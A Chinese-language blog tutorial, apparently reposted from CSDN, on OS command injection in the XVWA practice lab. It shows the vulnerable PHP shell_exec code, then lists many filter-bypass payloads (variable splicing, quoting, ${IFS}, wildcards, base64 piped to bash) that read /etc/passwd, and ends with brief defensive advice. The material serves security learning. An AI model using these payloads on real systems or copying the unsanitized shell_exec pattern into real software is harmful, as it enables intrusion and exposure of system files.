XVWA OS Command Injection

0x00 OS Command Injection手工审计

命令注入,有些地方也叫做命令执行,一般和代码执行一起被叫做RCE漏洞

<?php
if (isset($_REQUEST['target'])) {
    $target = $_REQUEST['target'];
    if($target){
        if (stristr(php_uname('s'), 'Windows NT')) {	//判断操作系统为windwos

        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';

        } else {
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        }
    }
}

?>

很明显,使用了shell_exec但是没有对输入做过滤,并且使用的还是$_REQUEST数组,这样不太好,应该尽量写清楚参数的获取方式是GET还是POST或者是COOKIE


0x01 利用方式

利用拼接符来完成命令注入。

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(.bat文件中的命令分隔符)

在这里插入图片描述
上面的都是比较基本的方法,在很多地方都会有过滤waf,也会有不同的绕过方法。


0x02 修复场景-过滤关键字

这里就拿过滤cat举例吧

$filter = "cat";
$targer = str_replace($filter,"",$targert);

在这里插入图片描述
此时就没有办法执行了,但是同样也会有方法绕过的。

变量拼接
target=127.0.0.1;a=c;b=at;$a$b /etc/passwd

当字符串拆成两个变量,然后进行拼接起来。
在这里插入图片描述

特殊shell变量绕过
target=127.0.0.1;ca$*t /etc/passwd

在这里插入图片描述
还有其它的方式,见下表

变量 含义
$0 当前脚本的文件名
$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$# 传递给脚本或函数的参数个数
$* 传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@ 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同
$? 上个命令的推出状态,或函数的返回值
$$ 当前shell进程ID
\绕过
127.0.0.1;ca\t /etc/passwd

在这里插入图片描述

单引号或者双引号绕过
127.0.0.1;ca''t /etc/passwd

在这里插入图片描述

空变量绕过
127.0.0.1;ca${x}t /etc/passwd

在这里插入图片描述

编码绕过

base64hexoct等都可以,拿base64举例。

127.0.0.1;echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash

其中Y2F0IC9ldGMvcGFzc3dkcat /etc/passwdbase64的编码。
在这里插入图片描述

系统变量绕过
127.0.0.1;${SHELLOPTS:3:1}at /etc/passwd

在这里插入图片描述

通配符绕过

shell中常见的通配符

字符 解释
* 匹配任意长度任意字符
匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合,同[!list]
{str1,str2} 匹配str1或者str2字符,也可以是集合
IFS 由<space>或<tab>或
CR 由<enter>产生

上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?*这样的通配符,不能匹配路径分隔符/。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt

127.0.0.1;/bin/c[a]t /etc/passwd

在这里插入图片描述

这个用于在ctf当中用来找flag也特别好用。


0x02 修复场景-过滤空格

修复如下:

$filter = " ";
$target = str_replace($filter,"",$target)

此时就没有办法执行了,但是同样也会有方法绕过的。
在这里插入图片描述

字符串绕过
<<>、%20(space)、%09(tab)

上面测试后发现%09可以,前面的几个不太行,在使用cat等命令时,也可以使用<

127.0.0.1;cat%09/etc/passwd

在这里插入图片描述

{}绕过
127.0.0.1;{cat,/etc/passwd}

在这里插入图片描述

$IFS变量绕过

$IFS$9、 ${IFS}、$IFS这几个都可以

127.0.0.1;cat${IFS}/etc/passwd

在这里插入图片描述


0x03 命令防御方法

使用一些特定的函数来传定参数,比如escapeshellarg或者escapeshellcmd,但是利用不当还是能被绕过的。
最好设置白名单,或者直接就不要用户输入了,改成用户选择最好。

特殊方法
  1. 利用文件构造的方法突破长度限制

  2. 重单符``即反引号,还有$()里面的参数都会被当作命令执行,比如$(id).txt
    在这里插入图片描述

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105109731
今日推荐